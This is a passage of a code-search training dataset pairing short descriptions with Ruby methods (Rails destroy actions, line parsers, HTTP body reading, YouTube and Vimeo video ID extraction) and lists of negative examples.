'.red + \"#{@data['requestId']||@data['id']}\".light_blue\n end", "def destroy_rest\n @item_usage = ItemUsage.find(params[:id])\n @item_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to(item_usages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @resturaunt.destroy\n respond_to do |format|\n format.html { redirect_to resturaunts_url, notice: 'Resturaunt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @json.destroy\n\n head :no_content\n end", "def destroy_rest\n @v1_page_usage = V1PageUsage.find(params[:id])\n @v1_page_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to(v1_page_usages_url) }\n format.xml { head :ok }\n end\n end", "def destroy_rest\n @instrument_version = InstrumentVersion.find(params[:id])\n @instrument_version.destroy\n\n respond_to do |format|\n format.html { redirect_to(instrument_versions_url) }\n format.xml { head :ok }\n end\n end", "def delete(path, params={}); make_request(:delete, host, port, path, params); end", "def destroy_rest\n @instrument = Instrument.find(params[:id])\n @instrument.destroy\n\n respond_to do |format|\n format.html { redirect_to(instruments_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @restauraunt.destroy\n respond_to do |format|\n format.html { redirect_to restauraunts_url, notice: 'Restauraunt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @recuest = Recuest.find(params[:id])\n @recuest.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @resturant.destroy\n respond_to do |format|\n format.html { redirect_to resturants_url, notice: 'Resturant was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
set attribute (field) obtained from matching pattern in raw_line
def raw_setter xfield,pattern field = "@#{xfield}" m = self.raw_line.match pattern return false if m.nil? #p "#{field} => #{m.inspect}" if BOOL_ATTRIBUTES.include? xfield self.instance_variable_set(field, true) return true end if STR_ATTRIBUTES.include? xfield self.instance_variable_set(field, m[1]) return true end if ARR_STR_ATTRIBUTES.include? xfield self.instance_variable_set(field, m.to_a) return true end if SUB_STR_ATTRIBUTES.include? xfield self.instance_variable_set(field, m[1]) return true end return false end
[ "def create_from_line(line, id=nil, attr: '')\r\n t = @format_mask.to_s.gsub(/\\[!(\\w+)\\]/, '(.*)').sub(/\\[/,'\\[')\\\r\n .sub(/\\]/,'\\]')\r\n line.match(/#{t}/).captures\r\n \r\n a = line.match(/#{t}/).captures\r\n h = Hash[@fields.zip(a)]\r\n create h\r\n self\r\n end", "def SetAttributeIfMatch(name, value, line)\n if(line.match(\"^\\s*#{name}\\s*=\"))\n\t line = \"#{name} = #{value}\"\n end\n return line\n end", "def initialize line\n attributes = [:ident, :hostname_or_IP, :location, :name, :clients_connection_allowed]\n\n line_split = line.split(\":\")\n\n attributes.each_with_index.map { |attribute, index|\n instance_variable_set(\"@#{attribute}\", line_split[index]) if self.respond_to?(attribute)\n }\n end", "def initialize line\n\n attributes = [:icao, :latitude, :longitude]\n\n line_split = line.strip.split(\":\")\n\n attributes.each_with_index.map { |attribute, index|\n instance_variable_set(\"@#{attribute}\", line_split[index]) if self.respond_to?(attribute)\n }\n end", "def raw_attribute(line)\n logger.debug \"Parsing attribute line #{line.inspect}\" if logger_debug?\n matched = line.match(ATTRIBUTE_REGEXP)\n unless matched\n raise Occi::Core::Errors::ParsingError, \"#{line.inspect} does not match expectations for Attribute\"\n end\n [matched[:name], matched[:string] || matched[:number] || matched[:bool]]\n end", "def initialize(field)\n self.class::MatchingAttribs.each do |m|\n send(\"#{m}=\", field.send(m))\n end\n end", "def initialize line\n attributes = [:hostname_or_IP, :location, :name, :clients_connection_allowed, :type_of_voice_server]\n\n line_split = line.split(\":\")\n\n attributes.each_with_index.map { |attribute, index|\n instance_variable_set(\"@#{attribute}\", line_split[index]) if self.respond_to?(attribute)\n }\n end", "def load_item_property(line)\n case line\n when DND::REGEX::MAGIC_EFFECT\n @property |= PONY::Bitset[0]\n when DND::REGEX::DEBUFF && self.is_a?(RPG::State)\n @property |= PONY::Bitset[1]\n when DND::REGEX::POISON && self.is_a?(RPG::State)\n @property |= PONY::Bitset[2]\n when DND::REGEX::IS_PHYSICAL\n @property |= PONY::Bitset[3]\n when DND::REGEX::IS_MAGICAL\n @property |= PONY::Bitset[4]\n end\n end", "def line=(line)\n @parsed_rules.line = line if @parsed_rules\n super\n end", "def parse\n @lines.each do |line|\n if m = line.match(R_ATTRIBUTE)\n @attrs << {:name => m[1].strip, :type => m[2].strip, :desc => m[4].strip}\n elsif m = line.match(R_ATTRIBUTE_NEXT_LINE)\n @attrs[-1][:desc] += \" #{m[1].strip}\"\n end\n end\n end", "def file_set_field( file_name, field, old_value, new_value, regex = nil )\n\n map = { old_value => new_value }\n\n file_set_field_by_map(file_name, field, map, regex)\n end", "def parse_attribute_definition(line, lineno)\n keyword, name, type = line.scan /[a-zA-Z_][a-zA-Z0-9_]*|\\{[^\\}]+\\}|\\'[^\\']+\\'|\\\"[^\\\"]+\\\"/\n name = name[1...-1] if name[0] == ?' and name[-1] == ?'\n name = name[1...-1] if name[0] == ?\" and name[-1] == ?\"\n if type.downcase == 'real' or\n type.downcase == 'numeric' or\n type.downcase == 'integer'\n define_attribute(name, :numeric)\n elsif type.downcase == 'string'\n define_attribute(name, :string)\n elsif type =~ /\\{([^\\}]+)\\}/\n define_attribute(name, :nominal, $1.split(',').map {|s| s.strip})\n else\n define_attribute(name, :string)\n #raise \"Attributes of type \\\"#{type}\\\" not supported (yet)\"\n end\n end", "def parse_line(line)\n is = new\n line =~ /(.+)\\s+<-\\s+(.+?)\\s+\\((\\d+\\.\\d)(?:\\/(\\d+))?,\\s+(\\d+\\.\\d)\\)/\n consequent, antecedent, support, transactions, confidence = $1, $2, $3, $4, $5\n is.consequent = consequent \n is.antecedent = antecedent.split(/\\s+/)\n is.support = support.to_f\n is.num_antecedent_transactions = transactions ? transactions.to_i : nil\n is.confidence = confidence.to_f\n is\n end", "def parse(line)\n @pattern, *@owners = line.split(/\\s+/)\n @whitespace = line.split('@').first.count(' ') - 1\n @spec = parse_spec(@pattern)\n end", "def process_raw_attribute(name, raw, field)\n value = field ? field.demongoize(raw) : raw\n attribute_will_change!(name) if value.resizable?\n value\n end", "def file_set_field_by_map( file_name, fields, value_map, regex = nil )\n\n lines = []\n objects = []\n\n attribs = if fields.is_a?(Array)\n fields\n else\n fields.to_s.split(',')\n end\n\n attribs.collect! do |attrib|\n raise ArgumentError, \"Field: #{attrib} is not a field on #{self.class.name}\" unless new.respond_to?(attrib)\n end\n\n log :info, \"#{self.class.name} - updating field(s) #{fields} in #{file_name}\"\n\n File.open( file_name ) do |t|\n t.each do |line|\n if line.chomp.empty?\n lines << line\n objects << new\n next\n end\n x = new(line)\n\n attribs.each do |a|\n old_value = x.instance_variable_get( \"@#{a}\" )\n if value_map[old_value] || (regex && old_value.keys.detect { |k| k.match(regx) })\n x.instance_variable_set( \"@#{a}\", value_map[old_value] )\n end\n end\n\n objects << x\n lines << x.to_s\n end\n end\n\n [lines, objects]\n end", "def extract_id_line model_attributes, line,item,dtypes\n #look if id is mapped to another field\n id_keys = model_attributes.to_hash.keys\n #hotfix..bad performance\n id_keys.map!{|k| k.to_s }\n id_key= id_keys.select{|k| k =~/^(ID|id|iD|Id)$/ }\n if id_key.empty?\n line[:id] = item.id\n else\n line[:id] = eval(\"item.#{model_attributes[id_key[0].to_sym]}\")\n #set the correct datatype for it\n dtypes[\"id\"]= dtypes[id_key[0]]\n #remove the id line\n line.delete id_key[0]\n end\n end", "def field_from(line)\n colon_ind = line.index(\":\")\n return nil unless colon_ind\n field = line[0..colon_ind - 1]\n return nil unless VALID_FIELDS.include?(field)\n value = line[colon_ind + 1..-1]\n value = value[1..-1] if value[0] == \" \"\n return field, value\n end", "def []=( field_name, raw_value )\n fn, offset, len, fmt = *@fields.assoc( field_name )\n if @copy_without_format\n value = raw_value\n else\n value = format_edi_field( raw_value, len, fmt )\n end\n raise EdiProcessError, \"RawFixedLenRecord [Flow: '#{@flow_type}', Rec: '#{@record_type}']: Unknown field '#{field_name}'.\" if fn.nil? # AND log...\n if value.length != len\n EdiHelper::edi_log.write \"RawFixedLenRecord: Value not set: Field length for '#{field_name}' incorrect for record '#{@record_type}'. Was #{value.length}, expected #{len}.\", 1\n else\n @text_line[offset, len] = value #if value.length == len # Don't alter if lengths do not match... (LOG IT)\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Returns true if request fully finished reading
def finished_reading?; @finished_read; end
[ "def finished?\n\t\t\t\t@finished && @body.length >= @headers['CONTENT_LENGTH']\n\t\t\tend", "def finished_reading?; @finished_read; end", "def complete?\n if received?(REQUEST_SIZE)\n if put?\n if record_count == 1\n true\n else\n received?(REQUEST_SIZE + (RECORD_SIZE * record_count))\n end\n else\n true\n end\n else\n false\n end\n end", "def read_some_more\n\t\t# self.log.debug \"Reading more data from %p...\" % [ @io ]\n\t\treturn false if @io.eof?\n\t\tstartsize = @buffer.bytesize\n\n\t\t@buffer << @io.read( @bufsize )\n\t\t# self.log.debug \" after reading, buffer has %d bytes.\" % [ @buffer.bytesize ]\n\n\t\tuntil @buffer.bytesize > startsize\n\t\t\treturn false if @io.eof?\n\t\t\tThread.pass\n\t\t\t@buffer << @io.read( @bufsize )\n\t\tend\n\n\t\treturn true\n\tend", "def file_done?\n self.size && self.size_of_data_received == self.size\n end", "def eof?\n @delegate_io.eof? && @readbuf.empty?\n end", "def all_chunks_received?\n start_chunk == nil\n end", "def multi_response_completed?\n @multi_buffer.nil?\n end", "def pipeline_complete?\n !response_buffer.in_progress?\n end", "def complete?\n complete = body.length >= header.body_length\n Logger.debug \"response complete? #{complete} (#{body.length}/#{header.body_length})\"\n complete\n end", "def waiting_in_chunk?\n waiting_on_bytes > 0\n end", "def download_finished?\r\n @contents.find{|k,v| v[:body] == nil } == nil\r\n end", "def closed_read?() end", "def completed?\n\n return true if self.state == ParseState::Completed\n\n # If the parser state is processing the body and there are an\n # undetermined number of bytes left to read, we just need to say that\n # things are completed as it's hard to tell whether or not they really\n # are.\n if (self.state == ParseState::ProcessingBody and self.body_bytes_left < 0)\n return true\n end\n\n false\n end", "def readable_after_eof?\n false\n end", "def read_ready?\n return false unless readable?\n sleep(1)\n true\n end", "def finished?\n @handle.nil?\n end", "def eof?\n if @buffer.size > 0\n false\n else\n @io.eof?\n end\n end", "def has_more?\n !@done || !@row_buffer.empty?\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Returns the body, if a block is given, the body is streamed to the block as the chunks become available, until the body has been read. If no block is given, the entire body will be read from the connection into the body buffer and then returned.
def body raise "no connection given" unless @connection if block_given? # Callback from the http_parser will be calling add_body directly @on_body = Proc.new # clear out body buffered so far yield read_from_body(nil) if @body until finished_reading? @connection.readpartial end @on_body = nil else until finished_reading? @connection.readpartial end @body end end
[ "def body(&block)\n call_once\n @body ||= begin\n if entity = @response.get_entity\n EntityConverter.new.read_entity(entity, &block)\n end\n rescue Java::JavaIo::IOException, Java::JavaNet::SocketException, IOError => e\n raise StreamClosedException.new(\"Could not read from stream: #{e.message}\")\n # ensure\n # @request.release_connection\n end\n end", "def body\n raise \"Body already read\" if @on_chunk\n raise \"Response body is not complete\" unless finished?\n @body.join\n end", "def body\n raise \"object must be closed before getting body\" unless @closed\n\n @body\n end", "def getBody\n @body\n end", "def raw_body\n # Rewind the StringIO object in case somebody else read it first\n request.body.rewind\n return request.body.read\n end", "def body\n if compressed?\n get_feed\n uncompress_feed\n end\n \n @uncompressed_body || feed.body\n end", "def read_body\n body = @attributes['body']\n if body.nil?\n ''\n elsif body.is_a?(String)\n body\n elsif body.respond_to?(:read) && body.respond_to?(:rewind)\n body.rewind\n body.read.tap do\n body.rewind\n end\n else\n raise TypeError, \"Body must be a String or something IO-like (responding to #read and #rewind). \" +\n \"got body = #{body.inspect}\"\n end\n end", "def body\n @body ||= reader_doc.content(true).strip\n end", "def read_body\n commit.body = read_until_footer_key\n end", "def body\n @body ||= reader_doc.content(true).strip \n end", "def body\n\t if(multipart?)\n\t\tMultipart.new(@message.content)\n\t else\n\t\t@message.content\n\t end\n\tend", "def body\n if self.multipart? # what if it is message/rfc822 ?\n @preamble \n else\n # decode\n case self.header('content-transfer-encoding')\n when 'quoted-printable'\n body = @body.decode_quoted_printable\n when 'base64'\n body = @body.decode_base64\n else\n # matches nil when there is no header or an unrecognised encoding\n body = @body\n end\n \n # convert to UTF-8 if text\n if self.content_type.media_type == 'text'\n charset = self.content_type.params['charset'] || 'us-ascii'\n body.iconv!('utf-8', charset)\n end\n\n body\n end\n end", "def get_body(url)\n execute(SQL[:get_body], [url]) do |row|\n # base64-decode and inflate body\n return Zlib::Inflate.inflate(Base64.decode64(row.first))\n end\n\n raise \"Unknown URL\"\n end", "def body\n @body ||= Page.convert_raw_to_html(raw_body)\n end", "def body_stream #:nodoc:\n StringIO.new(raw_post)\n end", "def body\n @body ||= at('/html/body')\n end", "def body\n if raw_post = env['RAW_POST_DATA']\n raw_post.force_encoding(Encoding::BINARY) if raw_post.respond_to?(:force_encoding)\n StringIO.new(raw_post)\n else\n body_stream\n end\n end", "def body\n connection.get(@url.path).body\n end", "def fetch_body\n request.body.rewind\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Returns the own video service id
def id case self.service when :youtube then parse_video_id_for_youtube when :vimeo then parse_video_id_for_vimeo end end
[ "def video_id_public\n if video\n video.id_public\n end\n end", "def video_id\n values[:video_id]\n end", "def unique_id\n video_id[/videos\\/([^<]+)/, 1]\n end", "def set_video_id\n send(\"#{provider}_video_id\")\n end", "def video_teleconference_id\n return @video_teleconference_id\n end", "def video_stream_id\n return nil unless video?\n \n video_match[1]\n end", "def game_id\n service.game_id\n end", "def video_id\n match = uri.path.match(/\\/v_show\\/id_([a-zA-Z0-9_=\\-]+)(\\.html)?.*/)\n match && match[1]\n rescue\n nil\n end", "def service_id\n return @service_id\n end", "def video_id\n match = uri.path.match(/\\/v_show\\/id_([a-zA-Z0-9_=\\-]+)(\\.html)?.*/)\n return match[1] if match && match[1]\n\n nil\n rescue\n return nil\n end", "def vimeo_video_id\n self.vid = link.split('/').last\n end", "def isolate_id(video_url)\n video_id = video_url[/[\\?&]v=.{11}/]\n video_id = video_id[3..-1] unless video_id.nil?\n video_id\n end", "def video_id\n match = uri.path.match(/\\/v_show\\/id_([a-zA-Z0-9]*)(\\.html)*/)\n return match[1] if match && match[1]\n\n nil\n rescue\n return nil\n end", "def video_id\n if uri.host =~ /youtu.be/\n # A slash, then capture all non-slash characters remaining\n match = uri.path.match(/\\/([^\\/]+)/)\n return match[1] if match && match[1]\n end\n\n if uri.path =~ /\\/embed\\//\n # A slash, then embed, then anotther slash, then capture all remaining non-slash characters\n match = uri.path.match(/\\/embed\\/([^\\/]+)/)\n return match[1] if match && match[1]\n end\n\n if params['v']\n return params['v']\n end\n\n nil\n rescue\n return nil\n end", "def my_video(video_id)\n client.get_my_video(video_id)\n end", "def vpp_token_id\n return @vpp_token_id\n end", "def youtube_video_id\t\t\n\t\tif self.video_url.nil?\n\t\t\tnil\n\t\telse\n\t\t\tself.video_url.rpartition('/').last\n\t\tend\n\n\tend", "def video_url\n \"http://video.ted.com/#{videoID}\"\n end", "def video_device_name\n return @video_device_name\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Returns the URL for this video embedded === Parameters options Configuration for the embedded URL. === Options :autoplay Autoplay on or off (default on)
def embedded(options={}) autoplay = options[:autoplay].nil? ? true : options[:autoplay] autoplay = !!autoplay ? '1' : '0' embeded_template = case self.service when :youtube then YOUTUBE_EMBEDDED_TEMPLATE when :vimeo then VIMEO_EMBEDDED_TEMPLATE end return embeded_template % [self.id, autoplay] end
[ "def embeddable_url\n return 'https://www.youtube.com/embed/' + video_id if source == 'youtube'\n return 'https://player.vimeo.com/video/' + video_id if source == 'vimeo'\n end", "def oembed_url\n \"https://www.youtube.com/oembed?format=json&url=#{source_url}\"\n end", "def source_url\n \"https://www.youtube.com/watch?v=#{@element.embed_id}\"\n end", "def embeddable_url\n\t\turl.sub('watch?v=', 'embed/')\n\tend", "def youtube_embed_url\n VideoInfo.new(self.video_url).embed_url if self.video_url?\n end", "def video_url(source, options = T.unsafe(nil)); end", "def oembed_url\n \"https://vimeo.com/api/oembed.json?url=#{source_url}\"\n end", "def oembed_url\n 'https://www.slideshare.net/api/oembed/2?format=json&url='\\\n \"#{source_url}\"\n end", "def convert_to_embedded_url\n youtube_id = youtube_video_id_from_link(url)\n self.url = youtube_embedded_url(youtube_id) if youtube_id\n end", "def embed_url\n video_url = params[:video_url]\n video = VideoInfo.get(video_url)\n if(video)\n embed_url = video.embed_url\n vid = Video.new(:embed_url=> embed_url)\n # check that the video is valid\n render :json => vid.as_json(:methods => :embed_code)\n else\n render :json => false\n end\n end", "def direct_url\n return 'https://www.youtube.com/watch?v=' + video_id if source == 'youtube'\n return 'https://vimeo.com/' + video_id if source == 'vimeo'\n end", "def youtube_url\n Settings.youtube_url\n end", "def embed_code(url, options={})\n begin\n EmbedLinkFactory.get_embed_link(url).embed_code(options)\n rescue\n begin\n DefaultLink.new(url).embed_code(options)\n rescue\n url\n end\n end\n end", "def youtube_url\n \"https://www.youtube.com/watch?v=#{@data['youtubeID']}\" if @data['youtubeID']\n end", "def video_url\n \"http://video.ted.com/#{videoID}\"\n end", "def embed_link\n return nil if self.youtube_link.nil?\n\n id_regex = /(?:http:\\/\\/)?(?:www\\.)?(?:youtube\\.com|youtu\\.be)\\/(?:watch\\?v=)?(.+)/\n youtube_id = self.youtube_link.match(id_regex)\n return nil if youtube_id.nil?\n\n return YOUTUBE_EMBED_PREFIX + youtube_id[1] + \"?rel=0\"\n end", "def video_url(opts={})\n if original_file_name\n file = opts[:format].nil? ? original_file_name : original_file_name.sub(/\\.[^.]+$/, \".#{opts[:format].to_s}\")\n \"#{media_host}/video/#{file}\"\n end\n end", "def source_url\n \"https://www.facebook.com/facebook/videos/#{@element.embed_id}\"\n end", "def get_embed_url(embed_code)\n regex = /(youtu\\.be\\/|youtube\\.com\\/(watch\\?(.*&)?v=|(embed|v)\\/))([^\\?&\"'>]+)/\n url = \"\" #placeholder url\n\n if embed_code.match(regex) != nil && embed_code.include?(\"iframe\")\n youtube_id = embed_code.match(regex)[5]\n Rails.logger.debug \"youtube_id : #{youtube_id}\"\n url = \"http://www.youtube.com/embed/\"+youtube_id\n end\n return url\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Set video_id for a given regexp and index of match result
def parse_video_id_for_regexp_and_index(regexp, index) match_result = self.url.match(regexp) return match_result[index] if !!match_result end
[ "def parse_video_id_for_vimeo\n parse_video_id_for_regexp_and_index(VIMEO_REGEXP, 4)\n end", "def parse_video_id_for_youtube\n parse_video_id_for_regexp_and_index(YOUTUBE_REGEXP, 6)\n end", "def set_url_video_id\r\n # Get the URL and put in this variable that will be filtered\r\n # down to the Video ID\r\n url_video_id = self.url\r\n \r\n # Remove the http:// part of the URL\r\n if (url_video_id = url_video_id.split(/^http[s]?:\\/\\//i)[1]) != nil\r\n \r\n #Remove the www part if it exists\r\n url_video_id = url_video_id.split(/^www./i)[1] unless url_video_id.match(/^www./i) == nil\r\n \r\n # Go through each of the filters for the source of this story and\r\n # find one that will return the ID\r\n for filter in self.story_source.story_source_id_filters\r\n \r\n # Determine if this filter is usable for the URL provided\r\n if url_video_id.match(/^#{filter.pre_id_regex}/i) != nil\r\n # Remove the first part of the URL\r\n url_video_id = url_video_id.split(filter.pre_id_url)[1]\r\n \r\n # Remove the end of the URL\r\n url_video_id = url_video_id.split(filter.post_id_url)[0]\r\n \r\n # Set the ID and return it\r\n self.url_video_id = url_video_id\r\n return url_video_id\r\n end\r\n end\r\n end\r\n \r\n # The ID could not be found\r\n # Return nil and don't set the ID\r\n return nil\r\n end", "def isolate_id(video_url)\n video_id = video_url[/[\\?&]v=.{11}/]\n video_id = video_id[3..-1] unless video_id.nil?\n video_id\n end", "def video_pass(index)\n FFMpegCommand << \"-pass #{index}\"\n end", "def determineMatchID\n @matchid = @value.get_attribute('id').split('_')[2]\n end", "def set_VideoID(value)\n set_input(\"VideoID\", value)\n end", "def youtube_video_id\n video_id = link.match(/\\?v=/) ? link.split('?v=')[1] : link.split('/').last\n video_id = video_id.split('&')[0] if video_id =~ /&/\n self.vid = video_id\n end", "def set_VideoID(value)\n set_input(\"VideoID\", value)\n end", "def preg_index( number )\n match_prefix = '$'\n match_suffix = ''\n\n unless @matches.blank?\n match_prefix = '$' + @matches + '['\n match_suffix = ']'\n end\n\n \"#{match_prefix}#{number}#{match_suffix}\"\n end", "def inc_match\n @matchedCount += 1\n end", "def setVideoId(video_id)\n\t\t#TODO video_id = sm9\n\t\t@number = video_id\n\t\tgetVideoInfo\n\tend", "def video_id\n match = uri.path.match(/\\/v_show\\/id_([a-zA-Z0-9]*)(\\.html)*/)\n return match[1] if match && match[1]\n\n nil\n rescue\n return nil\n end", "def video_id\n match = uri.path.match(/\\/v_show\\/id_([a-zA-Z0-9_=\\-]+)(\\.html)?.*/)\n match && match[1]\n rescue\n nil\n end", "def unique_id\n video_id[/videos\\/([^<]+)/, 1]\n end", "def video_id\n match = uri.path.match(/\\/v_show\\/id_([a-zA-Z0-9_=\\-]+)(\\.html)?.*/)\n return match[1] if match && match[1]\n\n nil\n rescue\n return nil\n end", "def set_video_id\n send(\"#{provider}_video_id\")\n end", "def vimeo_video_id\n self.vid = link.split('/').last\n end", "def parse_youtube_id(url)\n url =~ /[v]=([^&]*)/\n id = $1\n \n if id.nil?\n # when there is no match for v=blah, then maybe they just \n # provided us with the ID the way the system used to work... \n # just \"E4Fbk52Mk1w\"\n return url \n else\n # else we got a match for an id and we can return that ID...\n return id\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Parse the youtube video_id and set it in self
def parse_video_id_for_youtube parse_video_id_for_regexp_and_index(YOUTUBE_REGEXP, 6) end
[ "def youtube_video_id\n video_id = link.match(/\\?v=/) ? link.split('?v=')[1] : link.split('/').last\n video_id = video_id.split('&')[0] if video_id =~ /&/\n self.vid = video_id\n end", "def youtube_video_id\t\t\n\t\tif self.video_url.nil?\n\t\t\tnil\n\t\telse\n\t\t\tself.video_url.rpartition('/').last\n\t\tend\n\n\tend", "def youtube_id\n query_string = URI.parse(self.youtube_url).query\n parameters = Hash[URI.decode_www_form(query_string)]\n parameters['v']\n end", "def parse_youtube_id(url)\n url =~ /[v]=([^&]*)/\n id = $1\n \n if id.nil?\n # when there is no match for v=blah, then maybe they just \n # provided us with the ID the way the system used to work... \n # just \"E4Fbk52Mk1w\"\n return url \n else\n # else we got a match for an id and we can return that ID...\n return id\n end\n end", "def youtube_embed(youtube_url)\n\t # Regex from # http://stackoverflow.com/questions/3452546/javascript-regex-how-to-get-youtube-video-id-from-url/4811367#4811367\n\t youtube_url.to_s[/^.*((v\\/)|(embed\\/)|(watch\\?))\\??v?=?([^\\&\\?]*).*/]\n\t youtube_id = $5\n\t youtube_id\n\tend", "def set_url_video_id\r\n # Get the URL and put in this variable that will be filtered\r\n # down to the Video ID\r\n url_video_id = self.url\r\n \r\n # Remove the http:// part of the URL\r\n if (url_video_id = url_video_id.split(/^http[s]?:\\/\\//i)[1]) != nil\r\n \r\n #Remove the www part if it exists\r\n url_video_id = url_video_id.split(/^www./i)[1] unless url_video_id.match(/^www./i) == nil\r\n \r\n # Go through each of the filters for the source of this story and\r\n # find one that will return the ID\r\n for filter in self.story_source.story_source_id_filters\r\n \r\n # Determine if this filter is usable for the URL provided\r\n if url_video_id.match(/^#{filter.pre_id_regex}/i) != nil\r\n # Remove the first part of the URL\r\n url_video_id = url_video_id.split(filter.pre_id_url)[1]\r\n \r\n # Remove the end of the URL\r\n url_video_id = url_video_id.split(filter.post_id_url)[0]\r\n \r\n # Set the ID and return it\r\n self.url_video_id = url_video_id\r\n return url_video_id\r\n end\r\n end\r\n end\r\n \r\n # The ID could not be found\r\n # Return nil and don't set the ID\r\n return nil\r\n end", "def extractYouTubeID(url)\n YoutubeVideoId.extract(url)\n end", "def setVideoId(video_id)\n\t\t#TODO video_id = sm9\n\t\t@number = video_id\n\t\tgetVideoInfo\n\tend", "def youtube_embed\n if self.video[/youtu\\.be\\/([^\\?]*)/]\n youtube_id = $1\n else\n # Regex from # http://stackoverflow.com/questions/3452546/javascript-regex-how-to-get-youtube-video-id-from-url/4811367#4811367\n self.video[/^.*((v\\/)|(embed\\/)|(watch\\?))\\??v?=?([^\\&\\?]*).*/]\n youtube_id = $5\n end\n if youtube_id\n return \"http://www.youtube.com/embed/\"+youtube_id+\"?wmode=transparent\" \n else\n return \"\"\n end\n end", "def video_id\n values[:video_id]\n end", "def youtube_id_from(url)\n url =~ /watch\\?v=(.*)/\n video_id = $1\n video_id = video_id.split(\"&\")[0] #ghetto\n return video_id\nend", "def vimeo_video_id\n self.vid = link.split('/').last\n end", "def set_YouTubeID(value)\n set_input(\"YouTubeID\", value)\n end", "def youtube_id\n\t\tif youtube?\n\t\t\treturn path[\"stoffi:track:youtube:\".length .. -1]\n\t\telse\n\t\t\treturn \"\"\n\t\tend\n\tend", "def youtube\n download = HTTParty.get(\"https://gdata.youtube.com/feeds/api/videos?q=#{URI.escape(@track)}\")\n if !download.body.empty?\n doc = Nokogiri::HTML(download.body)\n vids = doc.xpath('//link[contains(@href, \"https://www.youtube.com/watch\")]').to_a\n video = vids.first\n # Extracting the Video-ID\n if video\n query_string = URI.parse(video['href']).query\n Hash[URI.decode_www_form(query_string)]\n else\n \"Can't find a decent YouTube mirror.\"\n end\n else\n flash[:notice] = 'Error with Youtube! Try again in 30 seconds!'\n end\n end", "def youtube\n youtube_embed = '<iframe title=\"YouTube video player\" width=\"640\" height=\"390\" src=\"http://www.youtube.com/embed/VIDEO_ID\" frameborder=\"0\" allowfullscreen></iframe>' \n if self.url =~ /.*http:\\/\\/(\\w+\\.)?youtube.com\\/watch.*/\n self.url.match(/v=(\\w+)/)\n return youtube_embed.gsub(/VIDEO_ID/, $1) \n end\n return nil\n end", "def set_video_id\n send(\"#{provider}_video_id\")\n end", "def video\n YouTubeApi.find_video(youtube_id)\n end", "def youtube_url\n \"https://www.youtube.com/watch?v=#{@data['youtubeID']}\" if @data['youtubeID']\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Parse the vimeo video_id and set it in self
def parse_video_id_for_vimeo parse_video_id_for_regexp_and_index(VIMEO_REGEXP, 4) end
[ "def vimeo_video_id\n self.vid = link.split('/').last\n end", "def youtube_video_id\n video_id = link.match(/\\?v=/) ? link.split('?v=')[1] : link.split('/').last\n video_id = video_id.split('&')[0] if video_id =~ /&/\n self.vid = video_id\n end", "def setVideoId(video_id)\n\t\t#TODO video_id = sm9\n\t\t@number = video_id\n\t\tgetVideoInfo\n\tend", "def extract_vimeo_id(vimeo_embed_code)\n extract_vimeo_source(vimeo_embed_code)\n .match(/video\\/(\\d+)$/)[1].to_s\n end", "def video_id\n values[:video_id]\n end", "def set_VideoID(value)\n set_input(\"VideoID\", value)\n end", "def set_VideoID(value)\n set_input(\"VideoID\", value)\n end", "def isolate_id(video_url)\n video_id = video_url[/[\\?&]v=.{11}/]\n video_id = video_id[3..-1] unless video_id.nil?\n video_id\n end", "def video_id\n match = uri.path.match(/\\/v_show\\/id_([a-zA-Z0-9_=\\-]+)(\\.html)?.*/)\n match && match[1]\n rescue\n nil\n end", "def set_url_video_id\r\n # Get the URL and put in this variable that will be filtered\r\n # down to the Video ID\r\n url_video_id = self.url\r\n \r\n # Remove the http:// part of the URL\r\n if (url_video_id = url_video_id.split(/^http[s]?:\\/\\//i)[1]) != nil\r\n \r\n #Remove the www part if it exists\r\n url_video_id = url_video_id.split(/^www./i)[1] unless url_video_id.match(/^www./i) == nil\r\n \r\n # Go through each of the filters for the source of this story and\r\n # find one that will return the ID\r\n for filter in self.story_source.story_source_id_filters\r\n \r\n # Determine if this filter is usable for the URL provided\r\n if url_video_id.match(/^#{filter.pre_id_regex}/i) != nil\r\n # Remove the first part of the URL\r\n url_video_id = url_video_id.split(filter.pre_id_url)[1]\r\n \r\n # Remove the end of the URL\r\n url_video_id = url_video_id.split(filter.post_id_url)[0]\r\n \r\n # Set the ID and return it\r\n self.url_video_id = url_video_id\r\n return url_video_id\r\n end\r\n end\r\n end\r\n \r\n # The ID could not be found\r\n # Return nil and don't set the ID\r\n return nil\r\n end", "def parse_video_id_for_youtube\n parse_video_id_for_regexp_and_index(YOUTUBE_REGEXP, 6)\n end", "def set_video_id\n send(\"#{provider}_video_id\")\n end", "def video_id\n if uri.host =~ /youtu.be/\n # A slash, then capture all non-slash characters remaining\n match = uri.path.match(/\\/([^\\/]+)/)\n return match[1] if match && match[1]\n end\n\n if uri.path =~ /\\/embed\\//\n # A slash, then embed, then anotther slash, then capture all remaining non-slash characters\n match = uri.path.match(/\\/embed\\/([^\\/]+)/)\n return match[1] if match && match[1]\n end\n\n if params['v']\n return params['v']\n end\n\n nil\n rescue\n return nil\n end", "def video_id\n match = uri.path.match(/\\/v_show\\/id_([a-zA-Z0-9_=\\-]+)(\\.html)?.*/)\n return match[1] if match && match[1]\n\n nil\n rescue\n return nil\n end", "def video_id\n match = uri.path.match(/\\/v_show\\/id_([a-zA-Z0-9]*)(\\.html)*/)\n return match[1] if match && match[1]\n\n nil\n rescue\n return nil\n end", "def get_vimeo_embed url\n result = HTTParty.get 